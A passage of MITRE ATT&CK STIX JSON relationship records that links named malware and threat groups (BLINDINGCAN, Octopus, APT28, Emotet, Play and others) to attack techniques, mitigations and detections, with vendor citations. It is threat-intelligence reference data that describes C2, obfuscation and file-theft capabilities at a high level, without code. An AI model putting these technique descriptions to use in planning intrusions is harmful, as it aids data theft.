2023)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48e36609-a492-43a6-b0ab-c27ce106b0e6","created":"2020-11-09T19:39:10.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:51:55.411Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has obfuscated code using Base64 encoding.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48e3f4e2-0506-4b5c-b40c-2c6edc92b0a5","type":"relationship","created":"2020-09-25T17:35:36.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}],"modified":"2020-09-25T17:35:36.444Z","description":"[Valak](https://attack.mitre.org/software/S0476) can download additional modules and malware capable of using separate C2 channels.(Citation: Unit 42 Valak July 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48e6b5fc-9d82-4cdf-84aa-bc23647e1234","type":"relationship","created":"2019-07-17T20:04:40.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T23:58:08.066Z","description":"By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48e9217d-e93d-440f-9fa1-93116e5792bd","type":"relationship","created":"2020-05-27T13:35:36.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-27T13:35:36.707Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to execute a process using runas.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48ee2b91-2ce7-46c0-a27a-aea1695355b4","type":"relationship","created":"2022-03-21T22:57:40.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"modified":"2022-03-21T22:57:40.722Z","description":"[Green Lambert](https://attack.mitre.org/software/S0690) can use `uname` to identify the operating system name, version, and processor type.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48eff76f-1f39-49e8-87c2-11607a8aeea3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2019-04-25T00:09:23.203Z","description":"[yty](https://attack.mitre.org/software/S0248) collects files with the following extensions: .ppt, .pptx, .pdf, .doc, .docx, .xls, .xlsx, .docm, .rtf, .inp, .xlsm, .csv, .odt, .pps, .vcf and sends them back to the C2 server.(Citation: ASERT Donot March 2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48f191ab-6e27-44cd-9de6-a0e06e58d983","type":"relationship","created":"2020-03-14T23:39:50.313Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T23:39:50.313Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","target_ref":"attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48f4cf50-8010-455e-bfe4-f749fcb9a3ac","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor for newly executed processes when removable media is mounted ","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48f662fe-1ba2-4c19-b782-dd06d9fb67fa","type":"relationship","created":"2017-05-31T21:33:27.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"},{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}],"modified":"2022-02-28T16:32:31.020Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used tools to take screenshots from victims.(Citation: ESET Sednit Part 2)(Citation: XAgentOSX 2017)(Citation: DOJ GRU Indictment Jul 2018)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48f74ebb-3a7e-4b65-8e87-04d3bfe02914","type":"relationship","created":"2020-03-17T00:58:52.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec W32.Duqu","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf"}],"modified":"2020-03-17T00:58:52.997Z","description":"[Duqu](https://attack.mitre.org/software/S0038) uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48fb8267-5d68-467b-a2c0-8302cc15ebed","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:06:31.033Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) can capture screenshots.(Citation: FireEye APT10 April 2017)(Citation: Accenture Hogfish April 2018)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48ff3270-ada9-4f02-b4f4-bfd6a3a3865f","created":"2024-09-25T17:00:20.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T20:15:45.421Z","description":"\n[Play](https://attack.mitre.org/groups/G1040) has used WinRAR to compress files prior to exfiltration.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4901215f-3cfb-4db3-9afb-4d063c1eb83a","type":"relationship","created":"2021-04-13T12:53:33.221Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T12:53:33.221Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can issue commands via HTTP POST.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4905ffe6-8c52-48e2-90f1-ea1ad064fe16","type":"relationship","created":"2019-01-30T13:53:14.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:26:36.130Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) uses HTTP and HTTPS for C2 communications.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4907e8fb-e224-49a6-aa94-5a76afa714ba","type":"relationship","created":"2020-01-24T17:42:23.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-31T21:19:27.811Z","description":"Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--490cc52d-1f6d-45d2-aa0e-2221264c0de0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/operation-daybreak/75100/","description":"Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.","source_name":"Securelist ScarCruft Jun 2016"}],"modified":"2020-08-13T17:53:17.881Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has signed its malware with an invalid digital certificates listed as “Tencent Technology (Shenzhen) Company Limited.”(Citation: Securelist ScarCruft Jun 2016)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--490e7a95-d2a5-40a0-80f1-87e07c3cdebf","created":"2024-09-25T14:12:12.744Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T14:12:12.744Z","description":"Monitor logs for software-as-a-service (SaaS) applications for signs of abuse. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4919cec0-77ce-4505-91e5-5a538fe1b198","created":"2019-01-30T13:24:08.980Z","x_mitre_version":"1.0","external_references":[{"source_name":"Securelist Octopus Oct 2018","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Octopus](https://attack.mitre.org/software/S0340) has encoded C2 communications in Base64.(Citation: Securelist Octopus Oct 2018)","modified":"2022-04-06T17:20:14.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--491c6bbd-3ca5-4e79-a35a-ef00625cb7e7","type":"relationship","created":"2022-03-04T18:56:38.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-04T18:56:38.982Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46","target_ref":"attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--491dc622-fa43-4015-b24a-8ec8d8f5a376","created":"2023-09-29T19:44:43.762Z","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T19:44:43.762Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has enumerated non-hidden network shares using `WNetEnumResourceW`. (Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4923be5e-dd24-4289-adca-e9dbf545b9c2","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","source_name":"Palo Alto OilRig May 2016"}],"modified":"2019-09-04T22:55:41.129Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used sc query on a victim to gather information about services.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49257f1f-6ef2-4688-bca0-9f2cd86c9d39","created":"2024-05-22T23:06:35.230Z","revoked":false,"external_references":[{"source_name":"CheckPoint Agrius 2023","description":"Marc Salinas Fernandez & Jiri Vinopal. (2023, May 23). AGRIUS DEPLOYS MONEYBIRD IN TARGETED ATTACKS AGAINST ISRAELI ORGANIZATIONS. Retrieved May 21, 2024.","url":"https://research.checkpoint.com/2023/agrius-deploys-moneybird-in-targeted-attacks-against-israeli-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T23:06:35.230Z","description":"[Moneybird](https://attack.mitre.org/software/S1137) is associated with ransomware operations launched by [Agrius](https://attack.mitre.org/groups/G1030).(Citation: CheckPoint Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"malware--47ab6350-054f-4754-ba4d-e52a4e8751e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49267afd-b71b-4dd0-a68a-128e61f7bdfd","type":"relationship","created":"2021-10-14T15:12:18.091Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","source_name":"Securelist Octopus Oct 2018"}],"modified":"2021-10-14T15:12:18.091Z","description":"[Octopus](https://attack.mitre.org/software/S0340) has uploaded stolen files and data from a victim's machine over its C2 channel.(Citation: Securelist Octopus Oct 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4929677b-3ce9-4065-9837-cfaa0cad8c89","type":"relationship","created":"2019-04-19T15:17:17.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more","description":"Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.","source_name":"Talos Smoke Loader July 2018"}],"modified":"2020-03-16T18:30:33.831Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) scans processes to perform anti-VM checks. (Citation: Talos Smoke Loader July 2018)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49315e80-2d47-432f-8e5f-3a694a91bb45","type":"relationship","created":"2019-05-02T00:08:18.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","source_name":"Cylance Shaheen Nov 2018"}],"modified":"2019-06-12T19:55:21.997Z","description":" [The White Company](https://attack.mitre.org/groups/G0089) has taken advantage of a known vulnerability in Microsoft Word (CVE 2012-0158) to execute code.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4932951a-b313-4024-bbad-434de3b747c5","type":"relationship","created":"2019-10-04T21:49:25.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Olympic Destroyer 2018","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-30T18:05:53.597Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) will shut down the compromised system after it is done modifying system configuration settings.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49333b91-3071-4d7b-8bbd-b32d2e80d05f","created":"2024-06-10T19:09:25.151Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:09:25.151Z","description":"Scripts associated with [KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) initial deployment can identify processes related to security tools and other botnet families for follow-on disabling during installation.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--493429f4-9d83-4131-8308-44e167a1a909","created":"2024-06-11T17:51:38.199Z","revoked":false,"external_references":[{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. 